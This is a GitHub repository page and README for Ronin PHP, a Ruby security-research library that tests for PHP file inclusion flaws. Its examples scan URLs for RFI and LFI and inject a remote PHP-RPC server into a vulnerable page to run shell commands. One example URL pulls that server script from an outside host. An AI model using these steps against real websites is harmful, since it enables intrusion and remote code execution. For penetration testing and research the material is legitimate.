public
Description: Ronin PHP is a Ruby library for Ronin that provides support for PHP related security tasks.
Homepage: http://ronin.rubyforge.org/php/
Clone URL: git://github.com/postmodern/ronin-php.git
name age message
file .gitignore Mon Aug 17 15:25:50 -0700 2009 Added a YARD documentation generation task. [postmodern]
file COPYING.txt Mon Dec 24 02:28:50 -0800 2007 * Refactoring continues, added Hoe build enviro... [postmodern]
file History.txt Thu Sep 24 22:18:24 -0700 2009 Added a note about requiring YARD >= 0.2.3.5. [postmodern]
file Manifest.txt Wed Nov 04 03:03:30 -0800 2009 Updated the Manifest. [postmodern]
file README.txt Tue Oct 20 21:41:32 -0700 2009 Updated the list of URLs in the README file. [postmodern]
file Rakefile Wed Nov 25 01:59:45 -0800 2009 Require yard >= 0.4.0. [postmodern]
directory bin/ Sun Aug 30 20:53:17 -0700 2009 Call #start to run a command. [postmodern]
directory lib/ Wed Nov 04 04:17:52 -0800 2009 Version bump. [postmodern]
directory spec/ Wed Oct 28 20:15:24 -0700 2009 Added a Database spec helper. [postmodern]
directory static/ Wed Sep 09 21:28:07 -0700 2009 Forgot to strip tailing new-line characters fro... [postmodern]
directory tasks/ Wed Nov 25 01:59:45 -0800 2009 Require yard >= 0.4.0. [postmodern]
README.txt
= Ronin PHP

* http://ronin.rubyforge.org/php/
* http://github.com/postmodern/ronin-php
* http://github.com/postmodern/ronin-php/issues
* http://groups.google.com/group/ronin-ruby
* irc.freenode.net #ronin

== DESCRIPTION:

Ronin PHP is a Ruby library for Ronin that provides support for PHP
related security tasks.

Ronin is a Ruby platform for exploit development and security research.
Ronin allows for the rapid development and distribution of code, exploits
or payloads over many common Source-Code-Management (SCM) systems.

=== Ruby

Ronin's Ruby environment allows security researchers to leverage Ruby with
ease. The Ruby environment contains a multitude of convenience methods
for working with data in Ruby, a Ruby Object Database, a customized Ruby
Console and an extendable command-line interface.

=== Extend

Ronin's more specialized features are provided by additional Ronin
libraries, which users can choose to install. These libraries can allow
one to write and run Exploits and Payloads, scan for PHP vulnerabilities,
perform Google Dorks  or run 3rd party scanners.

=== Publish

Ronin allows users to publish and share code, exploits, payloads or other
data via Overlays. Overlays are directories of code and data that can be
hosted on any SVN, Hg, Git or Rsync server. Ronin makes it easy to create,
install or update Overlays.

== FEATURES:

* Provides tests for Location File Inclusion (LFI) and Remote File
  Inclusion (RFI) that are built into the URI::HTTP class.
* Allows for effortless finger-printing of a web-server using LFI.
* Provides a PHP-RPC client and server that are designed to work in hostile
  environments.
* Provides an AJAX PHP-RPC Console.

== SYNOPSIS:

* Start the Ronin console with Ronin PHP preloaded:

    $ ronin-php

== EXAMPLES:

* Test for Remote File Inclusion (RFI):

    require 'ronin/php/rfi'

    url = URI('http://www.example.com/page.php?lang=en')
    url.has_rfi?
    # => true

* Get the first viable RFI vulnerability:

    url.first_rfi
    # => #<Ronin::PHP::RFI: ...>

* Scan a URL for RFI vulnerabilities:

    url.rfi_scan
    # => [#<Ronin::PHP::RFI: ...>, ...]

* Inject a PHP-RPC Server into a RFI vulnerable URL:

    require 'ronin/rpc/php'

    client = url.rfi.rpc
    client.exec('whoami')
    # => "www-data"

* Get a direct URL to the AJAX interface of the PHP-RPC Server:

    client.url
    # => "http://www.example.com/page.php?en=http://ronin.rubyforge.org/static/ronin/php/rpc/server.min.php?"

* Test for Local File Inclusion (LFI):

    require 'ronin/php/lfi'

    url = URI('http://www.example.com/site.php?page=home')
    url.has_lfi?
    # => true

* Get the first viable LFI vulnerability:

    url.first_lfi
    # => #<Ronin::PHP::LFI: ...>

* Scan a URL for LFI vulnerabilities:

    url.lfi_scan
    # => [#<Ronin::PHP::LFI: ...>, ...]

== REQUIREMENTS:

* {ronin}[http://ronin.rubyforge.org/] >= 0.3.0
* {ronin-web}[http://ronin.rubyforge.org/web/] >= 0.2.0

== INSTALL:

  $ sudo gem install ronin-php

== LICENSE:

Ronin PHP - A Ruby library for Ronin that provides support for PHP
related security tasks.

Copyright (c) 2007-2009 Hal Brodigan (postmodern.mod3 at gmail.com)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA